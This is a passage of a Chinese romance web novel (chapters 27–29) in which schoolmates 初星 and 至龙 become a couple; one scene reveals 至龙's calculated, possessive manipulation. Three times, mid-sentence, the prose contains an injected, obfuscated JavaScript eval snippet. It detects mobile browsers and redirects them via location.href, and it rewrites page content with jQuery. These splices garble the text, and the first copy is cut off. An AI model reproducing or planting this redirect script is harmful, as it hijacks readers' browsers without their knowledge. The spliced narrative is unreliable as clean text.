之后的日子,陷入了一种极其怪异却又平衡的模式。 至龙确实留在了初星身边,甚至比以前更加细致入微。他依然会等她下课,帮她拿书包。记得她所有喜好,买她爱喝的饮料、爱吃的零食。在她脚伤没好利索时,几乎充当了她的拐杖,上下楼都小心翼翼扶着她。 但他不再像以前那样叽叽喳喳地说个不停,也不再带着阳光灿烂的、期待回应的笑容。他的好变得沉默而克制,眼神里满是令人窒息的温柔和……悲伤。 他看着她的时候,依旧专注,但那专注里带着清晰的痛楚,仿佛在凝视一件永远无法属于自己的珍宝。他不再主动提起任何关于“喜欢”或“未来”的话题,只是沉默地履行着他“对她好”的承诺。 初星被动地接受着这一切。她无法再像以前那样心安理得。每一次他递过来的东西,每一次他无声的搀扶,甚至每一次他那个带着痛楚的凝视,都像一根细小的针,轻轻扎她一下,提醒着她:你欠着他的,而你无法偿还。 她开始感到不自在,甚至有些烦躁。她宁愿他像之前那样生气地走掉,或者跟她大吵一架,也好过现在这种令人窒息的、充满牺牲感的温柔。这让她觉得自己像个坏人。 她尝试过几次,生硬地说:“你不用这样。” 或者:“我可以自己来。” 但每次,至龙只会抬起那双依旧泛红的眼睛,安静地看着她,然后轻轻说一句:“嗯。但我想做。” 或者,“没关系,不麻烦。” 随后继续他沉默的付出。 这种状态也让夹在中间的珍雅和永裴倍感压力。珍雅私下里问初星:“你到底怎么想的啊?至龙欧巴他……看起来好难过。” 初星会烦躁地抓头发:“我不知道!我能怎么办?我说了我不喜欢他!难道要骗他吗?” 永裴也会拍拍至龙的肩膀:“呀,兄弟,要不……算了吧?你这样不难受吗?” 至龙只会摇摇头,扯出一个比哭还难看的笑:“看着她,就不难受了。” 沉重而悲伤的氛围笼罩着他们四个人。 初星被困住了。被至龙不求回报的深情困住,也被自己那点无法产生的“喜欢”和随之而来的愧疚感困住。 而至龙,则把自己困在了一个名为“裴初星”的牢笼里,明知无望,却甘之如饴地画地为牢,用自我牺牲式的付出,痛苦地维系着那一点点可怜的连接。 在一次放学路上,至龙依旧沉默地走在她身边,手里拿着她喝了一半的饮料,初星停下了脚步。 至龙也跟着停下,疑惑地、带着惯有的小心看向她。 初星深吸了一口气,抬起头,目光直视着至龙,她的表情很认真,带着一种下定决心后的挣扎: “至龙啊,”她叫了他的名字,“我们……能不能不要这样了?” 至龙的眼神闪烁了一下,闪过一丝慌乱,像是害怕听到最坏的结果,嘴唇动了动,却没发出声音。 初星看着他的样子,心里更难受了,但她还是坚持说了下去: “你对我很好,我知道。但是……现在的这种感觉,让我很难受,很有压力。” “我没办法用你想要的方式回应你,这让我觉得……很对不起你。” 她顿了顿,说出了最核心的请求,声音轻却清晰: “我们……能不能试着做回以前那样的朋友?” “就像……就像之前那样可以吗?” 她几乎是带着一丝希冀和恳求看着他,希望他能理解,希望他能放下,希望彼此都能轻松一点。 至龙静静地听着,脸上的血色一点点褪去。 沉默了很久。 久到初星以为他不会回答的时候,他才缓缓开口,声音沙哑而疲惫,带着一种深深的无力感: “初星啊……” “有些东西……” “是回不去的。” 他看着她,眼里的悲伤浓得化不开: “我试过了……我真的试过。” “但是……‘朋友’这个词,现在对我来说,太沉重了。” “我没办法……一边看着你,一边只把你当朋友。” 他艰难地承认,“我做不到。” 他深吸一口气,像是用尽了最后的力气: “如果你觉得我的喜欢……让你这么有压力,这么难受……” “那……我可以离你远一点。” “但是……” 他的声音低了下去,绝望而固执,“……‘做回朋友’……我可能,真的做不到了。” 他清楚地知道,自己已经无法退回“朋友”的位置了。那份爱意一旦彻底摊开,就再也无法假装不存在。 他给了初星两个选择:接受他这份带着痛苦的爱意,或者,他带着这份爱意彻底远离。 但没有“朋友”这个选项了。 初星心里像是被什么东西重重砸了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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至龙像是被定身法定住了,足足好几秒没有任何反应。随即,崩溃的狂喜和难以置信的情绪席卷了他,他的眼眶瞬间红了,嘴唇颤抖着,却发不出任何声音。 “我……我不知道以后会怎么样,”初星坦诚地说,带着一丝羞涩和不安,“但我只知道,我没办法接受你现在离开。” 下一秒,初星主动上前,伸出手臂,轻轻地、试探性地抱住了他。 那一刻,至龙的身体剧烈地颤抖起来。他像是终于确认这不是又一个折磨他的美梦,发出一声近乎呜咽的叹息,然后用一种几乎要将她揉进自己骨血里的力度,疯狂地回抱住了她。 “初星……初星……”他一遍遍地在她耳边低唤她的名字,声音破碎不堪,滚烫的眼泪无声地滑落,浸湿了她的肩颈处的衣衫。 初星在他令人窒息的怀抱里,感受到了他那几乎要将彼此焚毁的激烈爱意和那滚烫的泪水,心中最后一点犹豫也化为了怜惜和感动。 然而,在她看不见的背后——越过她的肩膀,在那极致的情感宣泄之后—— 至龙的脸依旧埋在她的发丝间,但那双刚刚还盛满泪水、写满狂喜与痛苦的眼睛,在阴影深处,却缓缓地睁开了。 那里面依旧残留着未干的湿意,依旧有着爱到极致的疯狂,但除此之外,还有一种更深、更偏执的东西悄然浮现。 一种近乎病态的、扭曲的满足感。 是的,他不只是喜欢她,他爱她,爱得撕心裂肺,爱得卑微入尘,这份爱意没有半分虚假。 正因如此,他无法承受失去她的任何可能。 当他听到初星那番‘被爱需求’意识到常规的付出无法换来对等回应时,一种源于极度恐惧和占有欲的“智慧”在他心底滋生。 他那番“无法做朋友”的宣言,那份主动选择的“远离”,确实是一场精心设计的豪赌。他赌她的善良,赌她的习惯,赌她对自己并非全然无情。他利用了这一切,将自己逼入绝境,也将她逼到必须二选一的墙角。 这手段或许并不光彩,甚至有些卑劣。但对他而言,这是他在无尽的爱和痛苦中,能抓住的最后一根救命稻草。他爱得太深,太绝望,以至于不惜用上一点“算计”,来赌一个能永远留在她身边的可能。 现在,他赌赢了。 她选择了他。主动地,回到了他的怀抱。 巨大的、黑暗的安心感包裹了他。他更加收紧了手臂,仿佛要将这个终于完全属于他的珍宝彻底锁住。 他在她耳边呢喃,声音依旧沙哑哽咽,充满了动人的深情,每一个字都发自肺腑,却也带着不容置疑的占有: “太好了……终于……你是我的了……永远都是了。” 28. 迟来的告白 初星在他那几乎令人窒息的、带着颤抖和哽咽的拥抱中,心尖泛起一阵悸动。她犹豫了一下,感受着他怀抱的坚实和那份滚烫的爱意,随后轻轻地抬起手臂,回抱住了他精瘦而微微颤抖的脊背。 “嗯。”她的脸颊轻轻靠在他还带着湿润泪痕的肩窝里,异常清晰地应了一声。 至龙听到回应,心底猛地一震,脸上瞬间被几乎要溢出来的喜悦、满足所取代。他松开怀抱,稍稍拉开一点距离,眼睛弯成了好看的月牙,里面盛满了璀璨的星光,嘴角咧开成灿烂得几乎要晃花人眼的笑容,温暖又耀眼,阳光毫无保留地洒在他的脸上,驱散了所有阴郁。 两人并肩走在午后洒满阳光的校园小路上,气氛和之前的压抑截然不同。偶尔还是会因为身份的转变而有一丝害羞的、不知该说什么好的短暂沉默,但空气中弥漫着的,是甜甜的、轻快的、仿佛带着气泡的因子,连呼吸都变得畅快起来。 走了一小段路,至龙的手指悄悄地在身侧动了动,带着一丝试探和紧张,轻轻碰了初星的手背一下,又像被电流击中一样,微微缩回。耳尖以肉眼可见的速度迅速泛红,侧过头,目光有些闪烁,却又无比认真地看向她,声音比平时低沉一些:“初星……” “嗯?”初星抬起头,对上他有些闪烁又无比清澈、写满了纯粹喜欢和一点点害怕被拒绝的紧张的眼睛。 “那个……”至龙似乎下定了很大的决心,喉结滚动了一下,声音更轻了,几乎像是在耳语,带着一种近乎神圣的郑重,“我……可以牵你的手吗?” 初星微微一怔,脸颊也迅速爬上一抹如同晚霞般的红晕。心跳不由自主地加快,像揣了一只小兔子,手指下意识地微微蜷缩了一下,有些无措。 她低下头,小幅度地、带着点羞涩地点了一下头:“嗯。” 得到许可,至龙脸上的紧张瞬间消失化为几乎要溢出来的欣喜。他动作极其轻柔,慢慢地用自己的手指,带着一丝微不可查的颤抖,穿插过她的指缝,最终,十指紧紧相扣,掌心紧密地贴合在一起。 他的手心温暖而干燥,带着一点常年练习乐器留下的薄茧,摩擦着她的皮肤,却给人一种无比坚实和安心的力量。初星微微动了动手指,也轻轻地、带着点生涩的回应,回握住了他。 两人就这样牵着手,一路沉默地走着,谁也没有再说话,但空气中弥漫着无声的、浓得化不开的甜蜜,嘴角都带着笑意,仿佛拥有了全世界。 转过一个拐角,遇到了闻讯赶来的永裴和珍雅。 永裴一眼就看到了他们紧紧牵在一起的手,夸张地瞪大了眼睛,用手肘猛撞身边的珍雅,声音洪亮地嚷嚷起来:“哇!哇!看到了吗!我说什么来着!我就说迟早的事!” 珍雅也是一脸“我早就知道会这样”的激动笑容,看着面前两个脸上还带着未褪红晕、明显关系已经不同往昔的好友,眼睛里闪着兴奋的光。 至龙看到好友,非但没有松开手,反而更自然地、带着点小得意地握紧了初星的手,仿佛在宣示主权。他脸上带着毫不掩饰的灿烂笑容和一点孩子气的炫耀,目光明亮地看向永裴和珍雅,随即温柔地落在初星身上,声音带着一种尘埃落定的郑重: “正式通知一下!”他清了清嗓子,“以后我就是初星的男朋友了!”他顿了顿,无比认真、一字一句地补充道,“现在是2004年11月6日,是我们在一起的第一天!都要记住哦!以后每一年的今天都要和我们一起庆祝!” 初星微微扬起线条优美的下巴,嘴角带着点小傲娇的笑意,坦然接受着好友们投来的祝福和打趣的目光。 “哇!!恭喜你们!!” “太好了!早就该这样了!这个好日子我们记住啦!以后每年都庆祝!”永裴和珍雅欢呼起来,笑声在走廊里回荡。 欢呼过后,初星侧过头,看向身边依旧沉浸在巨大喜悦中的至龙。她的表情带着甜蜜:“至龙啊,” “嗯?”至龙立马凑近,专注地等待着她的话。 “交往的事,告诉熟悉的朋友们就好。”她声音平稳,目光扫过周围偶尔投来的好奇目光,微微蹙了下精致的眉头,补充道,“在学校里,那些刻意的亲密举动就免了吧。恋爱是我们两个人的事,自在舒服最重要,不需要特意展示给别人看。和以前那样自然相处就很好。” 至龙点头如捣蒜:“当然!都听你的!我们怎么样舒服就怎么样来!”他笑着保证,又有些扭捏的补充,“只有我们两个人的时候,我再……”他凑近她耳边,用只有两人能听到的气音,飞快地、带着点坏笑地说了句悄悄话。 初星耳根一热,羞恼地轻轻推了他肩膀一下,嗔怪道:“呀!你真是……没个正经!” …… 放学后,和永裴、珍雅道别后,喧嚣渐渐散去,只剩下至龙和初星两人。夕阳的余晖将天空染成温暖的橘粉色,将他们的影子在身后拉得很长很长。 至龙轻轻握着初星柔软的手,指腹珍惜地、一遍遍地摩挲着她的手背,似乎在反复确认这份历经波折、终于稳稳握在手中的幸福。走了一段路,他轻轻叹了口气,笑声里带着一点如释重负的、复杂的感慨。 “怎么了?”初星侧头看他,被他声音里复杂的情绪所吸引。 至龙停下脚步,转过身正对着她,夕阳的金光勾勒出他柔和的侧脸轮廓。他的眼神温柔得不可思议,却又带着一丝清晰的痛苦和些许尴尬。 “初星啊,”他轻声开口,语气沉静而温柔,“有件事,一直埋在心里,没敢告诉你……是关于,你搬家那天的事。” “嗯?怎么了?那天……又发生什么特别的事吗?”初星疑惑地眨了眨眼,努力回想那个混乱的搬家日。 至龙深吸了一口气,像是下定了决心,耳根微微泛红,带着点不好意思:“那时候……我无意中听到,李叙夏好像准备了很多东西,要找你……正式表白。”他说出那个名字时,语气里还残留着不易察觉的紧张和醋意,但很快被更强烈的情绪覆盖。 “我……我当时就彻底慌了。”他不好意思地摸了摸后颈,“脑子里一热,就只有一个念头:我必须比他更早!必须是我第一个告诉你我的心意!我跑去花店,挑了最好看的红玫瑰……跑到你家楼下等你,想郑重地向你告白。” 他的声音逐渐低沉下来,带上了一丝沙哑:“我给你打了好多好多通电话,从一开始的满心期待和练习表白词,到后来的着急、担心你是不是出了什么事……再到最后……”他顿了顿,声音里充满了之前那种被遗弃般的、冰冷的困惑和深入骨髓的难过,“电话永远打不通,提示音冰冷得可怕,你也一直、一直没有回来。窗外天都黑透了。” “那天晚上,还下了好大的雨,毫无预兆的暴雨。”他的目光望向远处,仿佛又回到了那个冰冷、绝望、被雨水彻底浇透的夜晚,“我就站在你家楼下的屋檐旁边,雨水被风吹着斜打进来,浑身湿透,手里那束精心挑选的玫瑰都被打烂了,花瓣掉了一地……可我还是不信,不信你会故意不见我。我以为……你只是暂时出去了,或者……是在用这种方式,委婉地拒绝我?” 他苦笑了一下,“我从下午一直等到晚上……大概,等了有几个小时吧。浑身湿透,冷得发抖,又饿又累,但都比不上心里那种……彻底被你抛弃了、整个世界都塌了的感觉。” 他沉默了下来,深深地看着初星,眼里有残留的、属于那个雨夜少年的委屈,但更多的,是此刻云开月明的庆幸和一点点心有余悸的后怕。“原来……你只是手机坏了,搬家了。我居然一个人胡思乱想了那么多,还傻乎乎地在雨里等了那么久……现在想想,真是够丢人的,也挺……可怜的。” 至龙说完,又有些不好意思地低下头,用指尖蹭了蹭鼻梁,正准备说点什么轻松的话转移话题,掩饰一下自己当年那傻气又固执、现在想来却倍感心酸的行为。 忽然,他感受到初星轻轻拉了一下他的手。抬起头,撞进初星清澈明亮的眼眸里。她脸上没有他预想中的同情、歉意或者难过,反而带着一点狡黠的、如同小公主般的娇俏笑容。 “原来你等了那么久啊,”她轻声说,语气里带着柔软的嗔怪和心疼,“还把自己淋得那么湿,生了病,真是帕布。”(笨蛋) 至龙的心软的像沙滩,刚想开口说“没关系都过去了”,却见初星微微扬起下巴,眼神直勾勾地看着他,用一种带着一点点命令口吻、却又充满了甜蜜和期待的语调,清晰地说道: “那这样吧,” 她顿了顿,“明天,” “你再买一束花来向我表白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680918|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她的声音清脆而悦耳,带着不容置疑的期待和一丝娇憨:“这次,我会在。” 她嘴角的笑意加深,如同绽放的花朵,补充了最重要、最动听的一句: “而且,我会同意。” 空气仿佛静止了一秒,连夕阳下沉的速度都似乎变慢了。 至龙大脑一片空白,他呆呆地看着初星,看着她脸上那抹自信迷人、带着点小得意的笑容,看着她眼中倒映出的、那个傻乎乎、不知所措的自己。 几秒钟后,他的眼睛以肉眼可见的速度变红,湿润起来,眼眶里迅速蓄满了晶莹的泪水,嘴角却无法控制地向上扬起,露出一个傻气到极致的笑容。 “真……真的吗?”他颤抖得厉害,紧紧抓住初星的手,“你……你说真的?明天?买花?表白?你……你会同意?你真的……会同意?”他像个复读机一样,激动地重复着这世上最美好的词汇,每一个字都带着难以置信的狂喜。 初星看着他这副欣喜若狂、激动得几乎要跳起来的模样,心里暖洋洋、甜丝丝的。她用力地点了点头,“当然是真的!不过……”她故意拖长了语调,疑惑的看着志龙。 至龙立刻紧张起来,屏住呼吸,眼睛一眨不眨地看着她 “要买更漂亮、更新鲜的花才行!”她笑着说出了后半句,眼睛弯成了好看的月牙,带着点撒娇的意味。 “买!买最漂亮的!把整个花店都买下来也行!挑最好的!最香的!最美的!”至龙激动得一把抱起初星,在原地转了好几个圈,快乐得像个得到了整个宇宙的孩子,笑声爽朗而畅快。初星惊呼一声,随即也开心地笑着,搂住了他的脖子,感受着他蓬勃的喜悦和有力的怀抱。 夕阳将两人相拥旋转的身影镀上了一层温暖的金边,在地上投下欢快舞动的影子。 “那就说定了!”至龙的声音里充满了雀跃和无比的认真,仿佛接到了一个神圣的任务,“明天!我一定会准备得超级正式!超级完美!比任何一次都认真!”他已经开始在脑子里飞速规划明天的一切细节:要穿那件最正式、好看的衣服,几点去花店才能买到最新鲜带着晨露的花,表白的话要怎么说才能既真诚又不落俗套…… 初星看着他这副严阵以待、兴奋不已又有点紧张过度的模样,忍不住笑着轻轻戳了戳他的手臂:“呀,权至龙,不用那么夸张啦,正常一点,自然一点就好。” “那怎么行!”至龙立马反驳,表情无比严肃,“这可是我等了那么久、盼了那么久才等来的你答应会同意的表白!是弥补遗憾的!是独一无二的!绝对不能马虎!必须是最完美的!”他想了想,又有点紧张地问,“那……明天几点?在哪里比较好?你家楼下?还是天台?或者公园?” “秘密。”初星俏皮地眨了眨眼,打断了他详细的计划,她想要一点点小小的、浪漫的主导权,“明天放学后,你就知道了。我会告诉你在哪里等我的。要乖乖等我消息哦。” 至龙了然地笑了,眼神里充满了宠溺和纵容,他喜欢她这份带着傲娇和浪漫心思的主动。“好!都听你的!我等你指令!保证随叫随到!” 两人再次牵起手,慢慢往前走,气氛却和之前牵手时完全不同了。空气里弥漫着一种明天即将发生美好事情的、浓烈的期待感,每一个眼神交汇都带着甜蜜的默契和无声的欢笑,对未来的憧憬让脚下的路都仿佛铺满了玫瑰。 把初星送到她家楼下时,至龙依依不舍地、慢慢地松开了手。 “那……明天见?”他眼睛亮亮地看着她,像盛满了整个银河,“嗯,明天见。”初星点点头,转身走上台阶。 走了两步,她又回过头,晚风吹起她柔软的发丝,她的笑容在渐浓的夜色里格外明亮动人,如同夜空中最亮的星: “至龙啊,”她轻声唤他。 “嗯?”至龙立刻应声,心脏因为她这个回眸而漏跳一拍。 “记得要买花哦。”她笑着提醒道,随后转身轻盈地跑进了楼里。 至龙站在原地,看着她的身影消失在门后,心里被甜蜜填得满满的,几乎要溢出来。他用力地对着空气挥了一下拳头,无声地欢呼了一下,才脚步轻快、蹦跳着、哼着不成调的歌离开。 月光温柔地洒在地上,静静地等待着明日更加灿烂的阳光升起后,那场即将发生的浪漫约会。 29. 银杏树下的荼靡之约 隔天,整个白天对权至龙来说,都变成了一种甜蜜而焦灼的煎熬。 课堂上,老师的讲解声似乎隔着一层厚厚的玻璃,模糊不清。他的目光无法聚焦在课本上,指尖无意识地在书页边缘反复敲打着一段只有他自己能听到的、激烈而雀跃的旋律,嘴角总是不受控制地上扬,勾勒出一个傻气的弧度。坐在旁边的永裴看他这副魂不守舍、完全沉浸在另一个世界的样子,偷偷从桌下扔过来一个小纸团。至龙展开一看,上面画着一个巨大的、咧着嘴的笑脸,旁边还用歪歪扭扭的字写着:“加油!稳了!”后面还跟了个竖起大拇指的小人。至龙看着纸条,忍不住笑得更深了,将纸条折好,塞进了口袋最里层,仿佛那是什么幸运符。 终于,漫长的一天课程在煎熬中结束,放学的铃声如同天籁般响起。至龙第一个从座位上弹起来,抓起早就收拾好的书包,像一支离弦的箭,第一个冲出了教室门,甚至来不及跟永裴多说一句,只留下一个匆忙的背影和一句飘散在风里的“谢了!”。 他一路飞奔,来到提前就跟永裴打听好了学校附近那家口碑最好、据说鲜花最新鲜品种也最多的花店。 冲进花店,扑面而来的是浓郁而繁杂的花香。面对琳琅满目、争奇斗艳的各式鲜花,至龙却陷入了幸福的“选择困难症”。红玫瑰固然经典炽热,但他又觉得不够特别,配不上初星那份清冷又独特的气质;绣球花饱满圆润,色彩温柔,但他又担心她会不会觉得太过普通或不够喜欢……他纠结地在花丛中踱步,眉头紧锁,手指无意识地捻着。 最终,在店主温和的建议下,他精心挑选了一束以洁白无瑕、亭亭玉立的白色郁金香为主,搭配着淡雅柔和的紫色雏菊和点缀着灰绿色、散发着清冽气息的尤加利叶的花束。整体色调清新、优雅又带着一丝不落俗套的独特感。 他小心翼翼地抱着花束,又飞快地跑回家。甚至来不及喘口气,就冲进房间,打开衣柜,翻出自己觉得最帅气、最能衬托气质的一套衣服——一件质感柔软、版型极佳的暖灰色高领毛衣,外搭一件剪裁利落、颜色沉稳的深色呢子大衣。他站在镜子前,反复整理着衣领、袖口,拨弄着头发,每一个细节都确认了无数遍,力求以最完美的姿态出现在她面前。 另一边,初星倒是显得平静许多。但她收拾书包的动作明显比平时加快了些许,课本和文具被有条不紊却迅速地放入包中,以及她时不时瞥向教室门口的眼神,还是悄无声息地泄露了她内心那份同样存在的期待。她拿出手机,指尖在屏幕上轻点,给至龙发去了一条简讯: 「六点半,学校后面那棵最大的银杏树下见。」 至龙的手机震动起来。他飞快地掏出来,看到屏幕上的信息,心脏砰砰狂跳,几乎要撞破胸腔。他立即回复,指尖微微发颤:「好!我一定准时到!你多穿点,外面冷!等着我!」后面还跟了一个小小的爱心表情,耳根微微发热。 他提前十五分钟就来到了那棵银杏树下。深秋时节,银杏叶已彻底染成了灿烂的金黄色,如同无数把小扇子挂满枝头,在夕阳温暖的光线下闪烁着柔和而耀眼的光芒,美得仿佛梦境。偶尔有叶子承受不住重量,旋转着、摇曳着飘落下来,在地上铺了厚厚一层松软的金色地毯。他怀抱着那束洁白与淡紫相间的花束,反复整理着自己本就一丝不苟的衣领和怀里的鲜花,在铺满落叶的地上来回踱步,踩出沙沙的声响。他深呼吸,平复那过快、快要失控的心跳,一遍遍在脑海里预演着待会儿要说的话。 六点半整,分秒不差。初星的身影准时出现在那条铺满了厚厚银杏落叶的小路尽头。 她穿着柔软贴身的米白色针织连衣裙,外套一件长及小腿的燕麦色长款大衣,脸颊被秋日傍晚的清风吹得微微泛出健康的红晕。她的步伐轻盈而稳定,一步步朝他走来。夕阳的金辉毫无保留地洒在她身上,为她镀上了一层温暖的光晕,她身后是漫天旋转飘落的金色叶雨,似乎整个秋日最极致的温柔和璀璨都汇聚于此,只为衬托她的到来。好看得让至龙忘记了呼吸。 他屏住呼吸,看着初星慢慢走近,金黄的银杏叶在她小巧的靴子下发出细微而悦耳的沙沙声。她在他面前站定,抬起那双清澈明亮的眼睛望着他,嘴角含着一抹浅浅的、却足以让他神魂颠倒的笑意,仿佛在无声地说:“我来了。” 至龙深深地吸了一口气,将所有的紧张和那些在脑海里排练了无数遍的、华丽的词藻都抛在了脑后。他双手郑重地将那束花递到初星面前。他的眼神满是专注和真诚,似乎整个世界只剩下她一个人。声音因为极致的紧张和激动而微微有些发颤,却格外清晰,每一个字都充满了沉甸甸的重量: “初星,” 他唤她的名字,声线低沉而温柔。 “我喜欢你。” “从很久很久以前,就开始喜欢了。” “比你知道的还要早,还要多得多。” “以后……”他再次深吸气,鼓足所有勇气,说出了那句在心底默念了千百遍、也等待了漫长时光的话,“也只会更加、更加地喜欢你。” “请你,”他目光灼灼地凝视着她,带着全部的真心和期盼,“和我交往,做我的女朋友,好吗?” 虽然答案早已在昨天心照不宣,但这一刻,亲口说出正式的请求,等待她郑重的回应,至龙的心脏还是跳得飞快。 初星看着他紧张到指尖微微发抖、却又无比认真坚定的样子,看着他手里那束漂亮,显然花了很多心思挑选的花束,再想起他昨天诉说的那个在冰冷雨夜里傻等了几个多小时的、令人心疼的故事,心里涌上一股酸酸甜甜的暖流。 她没有立刻伸手去接花,而是上前了一小步,微微踮起脚尖,快速地、轻轻地在他一侧的脸颊上亲了一下。 那柔软而微凉的、一瞬即逝的触感,像触电般瞬间击中了至龙!让他整个人大脑一片空白,世界万物都失去了声音和色彩,只有被她亲过的那一小块皮肤变得滚烫无比。 初星退了回来,白皙的脸颊也快速染上了漂亮而羞涩的红晕,但她依旧勇敢地笑着,眼睛璀璨动人。她随即伸出手,接过了那束象征着正式开始的鲜花,珍惜地抱在怀里,然后看着还处在呆滞状态、被施了定身咒的至龙,声音清脆又带着毋庸置疑的甜蜜: “嗯,” “我同意了。” 这个回答像是最美妙、最具有魔力的咒语,瞬间解除了至龙所有的僵硬。他猛地伸出手,将抱着花的初星一起,紧紧地、却又无比小心地、珍重地拥入怀中。大衣和围巾包裹着的怀抱,温暖、坚实而令人安心。 不同于之前激动之下的用力拥抱,也不同于任何短暂安慰般的轻触。在这个期待已久、梦想成真的时刻,他的所有感官都变得无比清晰而敏锐,贪婪地捕捉着关于她的一切。 他微微低下头,脸颊轻贴着她柔软微凉的发丝,鼻尖萦绕的,除了怀中白色郁金香与雏菊混合的清新淡雅的花香,更有一股极其清雅、若有若无、独特而难以形容的香气,从初星的颈间肌肤和柔软的发丝间隐隐散发出来,丝丝缕缕,钻入他的鼻腔。 他情不自禁地更加收紧了手臂,将脸更深地埋进她温暖馨香的颈窝,贪婪地、无声地深吸了一口气。那清冷又柔软、带着一丝微甜尾调的独特花香更加清晰了,与其他任何花香都不同,独一无二。 强烈好奇的情绪涌上心头,他稍微松开一点点怀抱,但手臂还是环着她纤细的腰身,低头看着怀中人,语气里带着发现新大陆般的惊喜和一点点不易察觉的、询问私密事的羞涩,轻声问道: “初星……” “嗯?”初星微微抬头,对上他探究的、闪着光的目光,脸颊因为刚才那个主动的亲吻和紧密的拥抱还泛着淡淡的、诱人的粉色。 “你身上……是喷了香水吗?”他问得有些小心翼翼,耳根悄悄爬上一抹红晕,生怕唐突了她,“好好闻……是一种很特别的花香,像……”他努力在贫瘠的词汇库里搜索着合适的形容词,脸颊也有些发烫,“像白色的,很干净、很清透的那种花,说不出的特别。” 初星愣了一下,被他这样直白而近距离地问及身体的味道,即使是因为赞美,也让她后知后觉地感到强烈的害羞,原本淡淡的粉红迅速变得明显,连白皙的脖颈和精致的耳朵都染上了一层动人的绯色。她有些不好意思地垂下眼帘,长而浓密的睫毛像蝶翼般轻轻扑闪了一下,才轻轻摇了摇头。 “没有喷香水哦。”她的声音比刚才更软糯了一些,带着一丝被如此直白夸奖后的细微羞赧,“哦妈说我从小就这样,自带一点淡淡的香气。”她顿了顿,声音轻轻的,却异常清晰,“是荼蘼花的味道。”说完,她抬眼飞快地瞥了一下至龙,想看看他的反应,结果看到他同样通红的脸和那双专注得仿佛要将她吸进去的眼睛,自己的脸更热了,下意识地将怀里的花束抱紧了些。 两人面对面地站着,怀里隔着芬芳的花束,脸颊都红得不像话,空气中弥漫着甜蜜的尴尬和浓得化不开的心动,还有一种刚刚共享了某种私密信息的亲密感。 “原来是这样……”他再次用力地、却无比温柔地抱紧她,将发烫的脸颊埋进她散发着淡淡荼蘼花香的颈窝,试图掩饰自己过快的心跳和滚烫的耳朵。他在她耳边低声呢喃,气息温热,语气充满了浓重的、无法掩饰的羞涩:“真好闻……初星,这是世界上最好闻、最特别的味道。” 他们在银杏树下又依偎了好一会儿,低声说着些毫无意义却甜蜜无比的傻话,直到夕阳几乎完全沉入地平线,天边只剩下绚烂如锦缎的晚霞,将两人的身影拉得很长。 “肚子饿了吗?”至龙轻声问,手指依旧眷恋地、有一下没一下地缠绕着初星散落的柔软发梢。 “有一点。”初星点点头,怀里还宝贝似的紧紧抱着那束花。 “那……我们去吃饭?想吃什么?”至龙温柔的目光几乎要将她融化,“今天什么都听你的,我的女王大人。” 初星被他逗笑了,歪着头认真地想了想,晚霞最后的光晕落在她长长的睫毛上,投下细密的阴影:“嗯……想吃点热乎乎的,暖暖身子。比如……汤饭?” “好!”至龙立刻点头,没有丝毫犹豫,牵起她空着的那只手,“我知道一家很好吃的店,汤底特别鲜,你一定会喜欢。” 两人相视一笑,手指紧密地交扣在一起,踩着脚下厚厚的、沙沙作响的金色银杏叶,慢慢走向远处霓虹初亮、逐渐喧嚣起来的街道,身后留下两排紧紧相依的、长长的脚印,和一片璀璨浪漫的金黄。 一顿简单却热气腾腾的汤饭,至龙吃得比任何山珍海味都要开心满足。初星先吃完了,放下小巧的勺子,微微蹙了下眉,看着自己沾了点汤渍的指尖,流露出“弄脏了”的小小嫌弃。 至龙立刻注意到,在她放下勺子的瞬间,他就飞快地抽了两张桌上的纸巾。初星向他伸出手,掌心向上,准备接过纸巾。 然而,至龙并没有把纸巾放到她摊开的掌心里。相反,他轻轻地、却不容拒绝地握住她伸出的手腕,另一只手拿着柔软的纸巾,开始认真地帮她擦拭每一根手指——先是指尖沾到汤汁的地方,然后是光滑的手背,连细致的指缝都小心翼翼地照顾到。 初星琉璃般的眼眸里闪过一丝明显的意外和诧异。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680919|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清澈的眼睛眨了眨,便很快接受了这项超乎预期的“服务”。她甚至微微放松了手指,任由他动作,脸上那点小嫌弃变成了某种理所当然的、略带享受的、被伺候得很舒服的表情,只是那微微泛红的耳垂,悄悄地泄露了她心底的一丝羞涩。 至龙原本还有点担心她会觉得突兀而拒绝,看到她只是愣了一下便坦然接受,还微微扬起了下巴,露出一种被顺毛了的、小猫般的满足神态。他更加卖力地完成了这项“工作”,又拿起另一张干净的纸巾,把她另一只手也轻轻拉过来,同样仔细地、温柔地擦拭了一遍。 “好了,干净了。”他抬起头,对她露出一个灿烂的、带着点求表扬意味的笑容。 “嗯。”初星轻轻应了一声,收回手,指尖似乎还残留着他指尖的温度和轻柔的触感。她故作镇定地端起桌上的水杯喝了一口,但微微翘起的嘴角和眼底流转的笑意却出卖了她极好的心情。 至龙抢着付了钱,随后再次牵起那双刚被他仔细擦拭呵护过的手,领着她走出温暖的小店。 秋夜的寒气立刻包裹上来。至龙感觉到掌心里初星的手微微缩了一下,指尖传来凉意。 